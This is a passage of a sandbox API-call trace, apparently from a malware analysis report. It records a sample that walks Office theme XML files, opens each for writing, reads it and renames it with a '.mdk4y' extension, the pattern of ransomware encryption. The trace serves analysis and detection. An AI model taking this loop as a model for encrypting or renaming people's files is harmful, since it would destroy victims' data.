lpNumberOfBytesRead=0x37df4c*=0x39d, lpOverlapped=0x0) returned 1 [0176.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825215000000) returned 1 [0176.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825215000000) returned 1 [0176.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.mdk4y")) returned 1 [0176.921] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.921] AreFileApisANSI () returned 1 [0176.921] GetACP () returned 0x4e4 [0176.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apex.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apex.xmlml", lpUsedDefaultChar=0x37df4c) returned 8 [0176.921] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825215200000) returned 1 [0176.922] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3bf, lpOverlapped=0x0) returned 1 [0176.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825215800000) returned 1 [0176.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825215800000) returned 1 [0176.928] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.mdk4y")) returned 1 [0176.929] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.929] AreFileApisANSI () returned 1 [0176.929] GetACP () returned 0x4e4 [0176.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Apothecary.xml", cchWideChar=14, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Apothecary.xmlr", lpUsedDefaultChar=0x37df4c) returned 14 [0176.929] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825216400000) returned 1 [0176.934] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c5, lpOverlapped=0x0) returned 1 [0176.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825217200000) returned 1 [0176.942] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825217200000) returned 1 [0176.942] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.mdk4y")) returned 1 [0176.943] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.943] AreFileApisANSI () returned 1 [0176.943] GetACP () returned 0x4e4 [0176.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aspect.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Aspect.xml.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0176.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825217300000) returned 1 [0176.943] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0176.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825217900000) returned 1 [0176.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825217900000) returned 1 [0176.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.mdk4y")) returned 1 [0176.951] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.951] AreFileApisANSI () returned 1 [0176.951] GetACP () returned 0x4e4 [0176.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Austin.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Austin.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0176.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825218100000) returned 1 [0176.951] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0176.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221000000) returned 1 [0176.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221000000) returned 1 [0176.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.mdk4y")) returned 1 [0176.981] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.981] AreFileApisANSI () returned 1 [0176.981] GetACP () returned 0x4e4 [0176.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Black Tie.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Black Tie.xmll", lpUsedDefaultChar=0x37df4c) returned 13 [0176.981] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221200000) returned 1 [0176.982] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39f, lpOverlapped=0x0) returned 1 [0176.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221300000) returned 1 [0176.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221300000) returned 1 [0176.983] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.mdk4y")) returned 1 [0176.984] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.984] AreFileApisANSI () returned 1 [0176.984] GetACP () returned 0x4e4 [0176.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Civic.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Civic.xml.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0176.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825221400000) returned 1 [0176.984] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c0, lpOverlapped=0x0) returned 1 [0176.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825222900000) returned 1 [0176.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825222900000) returned 1 [0177.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.mdk4y")) returned 1 [0177.002] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.002] AreFileApisANSI () returned 1 [0177.002] GetACP () returned 0x4e4 [0177.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Clarity.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Clarity.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825223200000) returned 1 [0177.002] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39e, lpOverlapped=0x0) returned 1 [0177.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825226100000) returned 1 [0177.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825226100000) returned 1 [0177.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.mdk4y")) returned 1 [0177.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.032] AreFileApisANSI () returned 1 [0177.032] GetACP () returned 0x4e4 [0177.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Composite.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Composite.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825227100000) returned 1 [0177.041] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825228500000) returned 1 [0177.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825228500000) returned 1 [0177.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.mdk4y")) returned 1 [0177.056] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.057] AreFileApisANSI () returned 1 [0177.057] GetACP () returned 0x4e4 [0177.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Concourse.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Concourse.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825228700000) returned 1 [0177.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825230400000) returned 1 [0177.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825230400000) returned 1 [0177.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.mdk4y")) returned 1 [0177.075] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.075] AreFileApisANSI () returned 1 [0177.075] GetACP () returned 0x4e4 [0177.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Couture.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Couture.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0177.075] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825230600000) returned 1 [0177.077] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c2, lpOverlapped=0x0) returned 1 [0177.082] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825231200000) returned 1 [0177.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825231300000) returned 1 [0177.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.mdk4y")) returned 1 [0177.084] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.084] AreFileApisANSI () returned 1 [0177.084] GetACP () returned 0x4e4 [0177.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Elemental.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Elemental.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.084] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825231500000) returned 1 [0177.085] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825232600000) returned 1 [0177.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825232600000) returned 1 [0177.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.mdk4y")) returned 1 [0177.097] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.097] AreFileApisANSI () returned 1 [0177.097] GetACP () returned 0x4e4 [0177.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Equity.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Equity.xmlxml", lpUsedDefaultChar=0x37df4c) returned 10 [0177.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825232900000) returned 1 [0177.099] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c1, lpOverlapped=0x0) returned 1 [0177.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825235000000) returned 1 [0177.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825235000000) returned 1 [0177.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.mdk4y")) returned 1 [0177.123] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.123] AreFileApisANSI () returned 1 [0177.123] GetACP () returned 0x4e4 [0177.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Essential.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Essential.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.123] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825235300000) returned 1 [0177.124] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a0, lpOverlapped=0x0) returned 1 [0177.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825237900000) returned 1 [0177.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825237900000) returned 1 [0177.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.mdk4y")) returned 1 [0177.151] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0177.151] AreFileApisANSI () returned 1 [0177.151] GetACP () returned 0x4e4 [0177.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Executive.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Executive.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0177.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0177.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825238100000) returned 1 [0177.151] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3c4, lpOverlapped=0x0) returned 1 [0177.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825239000000) returned 1 [0177.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825239000000) returned 1 [0177.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.mdk4y" 